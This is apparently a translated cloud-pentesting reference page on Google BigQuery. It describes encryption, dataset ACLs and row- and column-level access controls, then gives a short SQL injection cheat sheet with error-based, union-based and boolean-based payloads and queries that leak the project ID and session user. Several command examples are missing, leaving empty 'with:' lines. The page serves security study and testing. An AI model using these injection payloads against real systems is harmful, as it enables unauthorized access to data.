GCP - Bigquery Enum
Informações Básicas
O Google Cloud BigQuery é um data warehouse empresarial totalmente gerenciado e serverless, oferecendo capacidades para análise de petabytes de dados, lidando assim eficientemente com conjuntos de dados em grande escala. Como Plataforma como Serviço (PaaS), ele fornece aos usuários infraestrutura e ferramentas para facilitar a gestão de dados sem a necessidade de supervisão manual.
Ele suporta consultas usando ANSI SQL. Os principais objetos são datasets contendo tabelas que contêm dados SQL.
Criptografia
Por padrão, é usado uma chave de criptografia gerenciada pelo Google, embora seja possível configurar uma chave de criptografia gerenciada pelo cliente (CMEK). É possível indicar a chave de criptografia por dataset e por tabela dentro de um dataset.
Expiração
É possível indicar um tempo de expiração no dataset, para que qualquer nova tabela criada neste dataset seja automaticamente excluída o número especificado de dias após a criação.
Fontes Externas
O BigQuery é profundamente integrado com outros serviços do Google. É possível carregar dados de buckets, pub/sub, Google Drive, bancos de dados RDS...
ACLs do Dataset
Quando um dataset é criado, ACLs são anexadas para conceder acesso sobre ele. Por padrão, são concedidos privilégios de Proprietário ao usuário que criou o dataset e, em seguida, Proprietário ao grupo projectOwners (Proprietários do projeto), Escritor ao grupo projectWriters e Leitor ao grupo projectReaders:
Controle de Acesso às Linhas da Tabela
É possível controlar as linhas que um principal poderá acessar dentro de uma tabela com políticas de acesso às linhas. Estas são definidas dentro da tabela usando DDL. A política de acesso define um filtro e apenas as linhas correspondentes a esse filtro serão acessíveis pelos principais indicados.
Controle de Acesso às Colunas
Para restringir o acesso aos dados ao nível da coluna:
Defina uma taxonomia e tags de política. Crie e gerencie uma taxonomia e tags de política para seus dados. https://console.cloud.google.com/bigquery/policy-tags
Opcional: Conceda a função Leitor Fino do Catálogo de Dados a um ou mais princípios em uma ou mais das tags de política que você criou.
Atribua tags de política às colunas do BigQuery. No BigQuery, use anotações de esquema para atribuir uma tag de política a cada coluna onde deseja restringir o acesso.
Aplique o controle de acesso na taxonomia. Aplicar o controle de acesso faz com que as restrições de acesso definidas para todas as tags de política na taxonomia sejam aplicadas.
Gerencie o acesso nas tags de política. Use Gerenciamento de Identidade e Acesso (IAM) para restringir o acesso a cada tag de política. A política é efetiva para cada coluna que pertence à tag de política.
Quando um usuário tenta acessar dados da coluna durante a consulta, o BigQuery verifica a tag de política da coluna e sua política para ver se o usuário está autorizado a acessar os dados.
Em resumo, para restringir o acesso a algumas colunas para alguns usuários, você pode adicionar uma tag à coluna no esquema e restringir o acesso dos usuários à tag aplicando controle de acesso na taxonomia da tag.
Para aplicar o controle de acesso na taxonomia, é necessário habilitar o serviço:
É possível ver as tags das colunas com:
Enumeração
Injeção de SQL no BigQuery
Para mais informações, você pode verificar a postagem no blog: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Aqui serão fornecidos apenas alguns detalhes.
Comentários:
select 1#de aqui não está funcionando
select 1/*entre estes não está funcionando*/
Mas apenas o inicial não funcionaráselect 1--de aqui não está funcionando
Obtenha informações sobre o ambiente como:
Usuário atual:
select session_user()
ID do projeto:
select @@project_id
Concatenar linhas:
Todos os nomes de tabelas:
string_agg(table_name, ', ')
Obtenha nomes de conjuntos de dados, tabelas e colunas:
Nome do projeto e do conjunto de dados:
Nomes de colunas e tabelas de todas as tabelas do conjunto de dados:
Outros conjuntos de dados no mesmo projeto:
Tipos de Injeção SQL:
Baseado em erro - casting:
select CAST(@@project_id AS INT64)
Baseado em erro - divisão por zero:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Baseado em Union (você precisa usar ALL no bigquery):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Baseado em Boolean:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potencial baseado em tempo - Uso de conjuntos de dados públicos exemplo:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Documentação:
Lista de todas as funções: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
Declarações de script: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Escalação de Privilégios e Pós-Exploração
GCP - BigQuery PrivescPersistência
GCP - BigQuery PersistenceReferências
Last updated